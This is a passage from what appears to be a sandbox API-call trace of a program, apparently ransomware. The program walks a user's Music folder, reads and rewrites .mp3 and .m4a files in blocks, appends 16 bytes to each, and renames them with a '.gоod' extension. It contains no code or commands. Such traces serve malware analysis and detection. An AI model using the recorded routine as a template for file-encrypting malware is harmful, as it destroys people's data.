(dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0226.324] GetFileType (hFile=0x85c) returned 0x1 [0226.324] ReadFile (in: hFile=0x85c, lpBuffer=0x37d1980, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x37d1980*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0226.647] CloseHandle (hObject=0x85c) returned 1 [0226.647] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3", lpFilePart=0x0) returned 0x3f [0226.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0226.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\zqob.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0226.647] GetFileType (hFile=0x85c) returned 0x1 [0226.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0226.647] GetFileType (hFile=0x85c) returned 0x1 [0226.647] WriteFile (in: hFile=0x85c, lpBuffer=0x3633b10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x3633b10*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0226.647] CloseHandle (hObject=0x85c) returned 1 [0226.647] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3", lpFilePart=0x0) returned 0x3f [0226.647] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3.gоod", lpFilePart=0x0) returned 0x44 [0226.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0226.647] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\zqob.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd61560, ftCreationTime.dwHighDateTime=0x1d4c5e2, ftLastAccessTime.dwLowDateTime=0xc5f88af0, ftLastAccessTime.dwHighDateTime=0x1d4cc5a, ftLastWriteTime.dwLowDateTime=0x834d9ae0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4455)) returned 1 [0226.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0226.648] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\zqob.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\zqob.mp3.gоod")) returned 1 [0226.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ebb10) returned 1 [0226.648] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV", nBufferLength=0x105, lpBuffer=0x202eb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV", lpFilePart=0x0) returned 0x40 [0226.648] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\*", lpFindFileData=0x202eb830 | out: lpFindFileData=0x202eb830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e559e20, ftCreationTime.dwHighDateTime=0x1d4d32f, ftLastAccessTime.dwLowDateTime=0x49028b0, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0x49028b0, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0226.649] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e559e20, ftCreationTime.dwHighDateTime=0x1d4d32f, ftLastAccessTime.dwLowDateTime=0x49028b0, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0x49028b0, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.649] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5a4910, ftCreationTime.dwHighDateTime=0x1d4d18e, ftLastAccessTime.dwLowDateTime=0x4043a790, ftLastAccessTime.dwHighDateTime=0x1d4d025, ftLastWriteTime.dwLowDateTime=0x4043a790, ftLastWriteTime.dwHighDateTime=0x1d4d025, nFileSizeHigh=0x0, nFileSizeLow=0x11c7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="i4-QhHm_.m4a", cAlternateFileName="")) returned 1 [0226.649] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca26270, ftCreationTime.dwHighDateTime=0x1d4ca74, ftLastAccessTime.dwLowDateTime=0x87727100, ftLastAccessTime.dwHighDateTime=0x1d4ce40, ftLastWriteTime.dwLowDateTime=0x87727100, ftLastWriteTime.dwHighDateTime=0x1d4ce40, nFileSizeHigh=0x0, nFileSizeLow=0x5926, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZrJ7U6 -RVSY6u.m4a", cAlternateFileName="ZRJ7U6~1.M4A")) returned 1 [0226.649] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.649] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0226.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba50) returned 1 [0226.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba10) returned 1 [0226.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ebb10) returned 1 [0226.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV", nBufferLength=0x105, lpBuffer=0x202eb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV", lpFilePart=0x0) returned 0x40 [0226.649] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\*", lpFindFileData=0x202eb830 | out: lpFindFileData=0x202eb830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e559e20, ftCreationTime.dwHighDateTime=0x1d4d32f, ftLastAccessTime.dwLowDateTime=0x49028b0, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0x49028b0, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0226.650] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e559e20, ftCreationTime.dwHighDateTime=0x1d4d32f, ftLastAccessTime.dwLowDateTime=0x49028b0, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0x49028b0, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.650] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5a4910, ftCreationTime.dwHighDateTime=0x1d4d18e, ftLastAccessTime.dwLowDateTime=0x4043a790, ftLastAccessTime.dwHighDateTime=0x1d4d025, ftLastWriteTime.dwLowDateTime=0x4043a790, ftLastWriteTime.dwHighDateTime=0x1d4d025, nFileSizeHigh=0x0, nFileSizeLow=0x11c7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="i4-QhHm_.m4a", cAlternateFileName="")) returned 1 [0226.650] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca26270, ftCreationTime.dwHighDateTime=0x1d4ca74, ftLastAccessTime.dwLowDateTime=0x87727100, ftLastAccessTime.dwHighDateTime=0x1d4ce40, ftLastWriteTime.dwLowDateTime=0x87727100, ftLastWriteTime.dwHighDateTime=0x1d4ce40, nFileSizeHigh=0x0, nFileSizeLow=0x5926, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZrJ7U6 -RVSY6u.m4a", cAlternateFileName="ZRJ7U6~1.M4A")) returned 1 [0226.650] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca26270, ftCreationTime.dwHighDateTime=0x1d4ca74, ftLastAccessTime.dwLowDateTime=0x87727100, ftLastAccessTime.dwHighDateTime=0x1d4ce40, ftLastWriteTime.dwLowDateTime=0x87727100, ftLastWriteTime.dwHighDateTime=0x1d4ce40, nFileSizeHigh=0x0, nFileSizeLow=0x5926, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZrJ7U6 -RVSY6u.m4a", cAlternateFileName="ZRJ7U6~1.M4A")) returned 0 [0226.650] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0226.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba50) returned 1 [0226.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba10) returned 1 [0226.650] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a", lpFilePart=0x0) returned 0x4d [0226.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb8c0) returned 1 [0226.651] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\i4-qhhm_.m4a"), fInfoLevelId=0x0, lpFileInformation=0x3940218 | out: lpFileInformation=0x3940218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5a4910, ftCreationTime.dwHighDateTime=0x1d4d18e, ftLastAccessTime.dwLowDateTime=0x4043a790, ftLastAccessTime.dwHighDateTime=0x1d4d025, ftLastWriteTime.dwLowDateTime=0x4043a790, ftLastWriteTime.dwHighDateTime=0x1d4d025, nFileSizeHigh=0x0, nFileSizeLow=0x11c7c)) returned 1 [0226.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb880) returned 1 [0226.651] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a", lpFilePart=0x0) returned 0x4d [0226.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0226.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\i4-qhhm_.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0226.651] GetFileType (hFile=0x85c) returned 0x1 [0226.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0226.651] GetFileType (hFile=0x85c) returned 0x1 [0226.651] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202eb918*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202eb918*=0) returned 0x1000 [0226.651] ReadFile (in: hFile=0x85c, lpBuffer=0x3940650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eb8e8, lpOverlapped=0x0 | out: lpBuffer=0x3940650*, lpNumberOfBytesRead=0x202eb8e8*=0x1000, lpOverlapped=0x0) returned 1 [0226.652] CloseHandle (hObject=0x85c) returned 1 [0226.652] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a", lpFilePart=0x0) returned 0x4d [0226.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0226.652] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\i4-qhhm_.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0226.652] GetFileType (hFile=0x85c) returned 0x1 [0226.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0226.653] GetFileType (hFile=0x85c) returned 0x1 [0226.653] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202eb918*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202eb918*=0) returned 0x11c7c [0226.653] WriteFile (in: hFile=0x85c, lpBuffer=0x39418f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202eb808, lpOverlapped=0x0 | out: lpBuffer=0x39418f8*, lpNumberOfBytesWritten=0x202eb808*=0x10, lpOverlapped=0x0) returned 1 [0226.653] CloseHandle (hObject=0x85c) returned 1 [0226.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a", lpFilePart=0x0) returned 0x4d [0226.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0226.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\i4-qhhm_.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0226.653] GetFileType (hFile=0x85c) returned 0x1 [0226.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0226.653] GetFileType (hFile=0x85c) returned 0x1 [0226.653] ReadFile (in: hFile=0x85c, lpBuffer=0x3943bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eb898, lpOverlapped=0x0 | out: lpBuffer=0x3943bc8*, lpNumberOfBytesRead=0x202eb898*=0x1000, lpOverlapped=0x0) returned 1 [0226.681] CloseHandle (hObject=0x85c) returned 1 [0226.681] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a", lpFilePart=0x0) returned 0x4d [0226.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0226.682] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\i4-qhhm_.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0226.682] GetFileType (hFile=0x85c) returned 0x1 [0226.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0226.682] GetFileType (hFile=0x85c) returned 0x1 [0226.682] WriteFile (in: hFile=0x85c, lpBuffer=0x3942910*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202eb948, lpOverlapped=0x0 | out: lpBuffer=0x3942910*, lpNumberOfBytesWritten=0x202eb948*=0x1010, lpOverlapped=0x0) returned 1 [0226.823] CloseHandle (hObject=0x85c) returned 1 [0226.823] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a", lpFilePart=0x0) returned 0x4d [0226.823] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a.gоod", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a.gоod", lpFilePart=0x0) returned 0x52 [0226.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb880) returned 1 [0226.824] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\i4-qhhm_.m4a"), fInfoLevelId=0x0, lpFileInformation=0x202eb960 | out: lpFileInformation=0x202eb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5a4910, ftCreationTime.dwHighDateTime=0x1d4d18e, ftLastAccessTime.dwLowDateTime=0x4043a790, ftLastAccessTime.dwHighDateTime=0x1d4d025, ftLastWriteTime.dwLowDateTime=0x836a365b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11c8c)) returned 1 [0226.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb840) returned 1 [0226.824] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\i4-qhhm_.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\i4-QhHm_.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\i4-qhhm_.m4a.gоod")) returned 1 [0226.824] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a", lpFilePart=0x0) returned 0x53 [0226.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb8c0) returned 1 [0226.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\zrj7u6 -rvsy6u.m4a"), fInfoLevelId=0x0, lpFileInformation=0x36cb170 | out: lpFileInformation=0x36cb170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca26270, ftCreationTime.dwHighDateTime=0x1d4ca74, ftLastAccessTime.dwLowDateTime=0x87727100, ftLastAccessTime.dwHighDateTime=0x1d4ce40, ftLastWriteTime.dwLowDateTime=0x87727100, ftLastWriteTime.dwHighDateTime=0x1d4ce40, nFileSizeHigh=0x0, nFileSizeLow=0x5926)) returned 1 [0226.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb880) returned 1 [0226.825] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a", lpFilePart=0x0) returned 0x53 [0226.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0226.825] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\zrj7u6 -rvsy6u.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0226.825] GetFileType (hFile=0x85c) returned 0x1 [0226.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0226.825] GetFileType (hFile=0x85c) returned 0x1 [0226.825] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202eb918*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202eb918*=0) returned 0x1000 [0226.825] ReadFile (in: hFile=0x85c, lpBuffer=0x36cb5c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eb8e8, lpOverlapped=0x0 | out: lpBuffer=0x36cb5c8*, lpNumberOfBytesRead=0x202eb8e8*=0x1000, lpOverlapped=0x0) returned 1 [0226.826] CloseHandle (hObject=0x85c) returned 1 [0226.826] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a", lpFilePart=0x0) returned 0x53 [0226.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0226.826] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 -RVSY6u.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\rssy7f9xv\\zrj7u6 -rvsy6u.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0226.826] GetFileType (hFile=0x85c) returned 0x1 [0226.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0226.826] GetFileType (hFile=0x85c) returned 0x1 [0226.826] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202eb918*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202eb918*=0) returned 0x5926 [0226.827] WriteFile (in: hFile=0x85c, lpBuffer=0x36cc880*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202eb808, lpOverlapped=0x0 | out: lpBuffer=0x36cc880*, lpNumberOfBytesWritten=0x202eb808*=0x10, lpOverlapped=0x0) returned 1 [0226.827] CloseHandle (hObject=0x85c) returned 1 [0226.827] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\RsSY7F9XV\\ZrJ7U6 